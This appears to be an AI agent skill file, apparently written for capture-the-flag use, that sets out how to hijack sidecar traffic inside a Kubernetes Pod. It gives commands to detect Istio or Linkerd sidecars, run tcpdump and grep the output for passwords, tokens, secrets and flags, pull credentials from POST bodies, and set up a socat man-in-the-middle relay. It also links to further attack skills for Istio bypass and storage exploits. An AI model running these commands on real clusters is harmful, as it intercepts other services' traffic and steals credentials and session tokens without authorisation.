k8s-sidecar-attack

Kubernetes Sidecar Traffic Hijacking

All containers within the same Pod share the network namespace—this is a K8s design decision, and also a boon for attackers. Traffic sent by sidecar containers (such as Istio Envoy) can be directly captured by any container in the same Pod via tcpdump, because they share the same network interface.

Pod 网络命名空间（共享）
┌──────────────────────────────────┐
│  [你的容器]  ←── 同一网卡 ──→  [Sidecar]  │
│       ↓                        ↓       │
│    tcpdump 能抓到 sidecar 的所有流量        │
└──────────────────────────────────┘

---

Phase 1: Detect Sidecar

# 最可靠：看进程列表中有没有 envoy / pilot-agent / linkerd-proxy
ps aux 2>/dev/null | grep -E 'envoy|pilot-agent|linkerd'
# 看到 envoy 或 pilot-agent → 确认 Istio sidecar 存在

# 环境变量（Istio 注入后会设置这些）
env | grep -i istio
# ISTIO_META_* 开头的变量 → 确认 Istio

# 网络接口（辅助判断，不能单独确认）
ip addr
# 看到 istio0 / lo 以外的多个接口 → 可能有 sidecar，需结合上面确认

# DNS 配置
cat /etc/resolv.conf  # search 行包含 istio 相关条目

---

Phase 2: Traffic Capture

Sidecars typically use plaintext HTTP communication internally (mTLS is terminated at the Envoy layer before forwarding), so tcpdump can directly see the request contents.

Basic Packet Capture

# 全流量抓包（-A 显示 ASCII，能直接看到 HTTP 内容）
tcpdump -A -vvv

# 只抓 HTTP 流量（减少噪音）
tcpdump -A -s 0 'tcp port 80 or tcp port 8080'

# 直接过滤敏感关键词
tcpdump -A -s 0 | grep -i -A5 'flag\|secret\|password\|token\|key'

# 保存 pcap 后续用 Wireshark 分析
tcpdump -w /tmp/capture.pcap -c 1000

Targeted Packet Capture

# 抓特定服务的流量
tcpdump -A host <target-service-ip>

# 抓 POST 请求体（通常 credential 在 POST body 里）
tcpdump -A -s 0 'tcp dst port 80' | grep -A 20 'POST'

---

Phase 3: Analyze Results

Look in the captured traffic for:

1. HTTP request/response bodies — flag、token、credential
2. Authorization Header — Bearer token、Basic auth
3. Cookie — session ID
4. POST body — form data, JSON payloads
5. Service-to-service communication — sensitive data exposed by internal API calls

---

Alternatives When tcpdump Is Unavailable

# 查看当前活跃连接（推断有哪些服务在通信）
cat /proc/net/tcp
cat /proc/net/tcp6
ss -tlnp
netstat -tlnp 2>/dev/null

# 如果有 socat，可以做端口转发中间人抓取经过的流量
socat -v TCP-LISTEN:8080,fork TCP:<target-svc>:80
# -v 会在 stderr 打印双向流量内容

---

Notes

• Traffic may beperiodic(cron jobs, scheduled reporting), requiring continuous monitoring for at least 30-60 seconds
• Watch for service requests named reporting-service、metrics、webhook etc.
• If all captured traffic is encrypted, it means mTLS is not terminated at the sidecar layer—change approach and try Skill(skill="k8s-istio-bypass") bypass policies

Related Skills

• Haven't done service discovery yet? First Skill(skill="k8s-network-recon") to determine which services exist
• Found Istio AuthorizationPolicy blocking → Skill(skill="k8s-istio-bypass")
• Found NFS/EFS mount → Skill(skill="k8s-storage-exploit")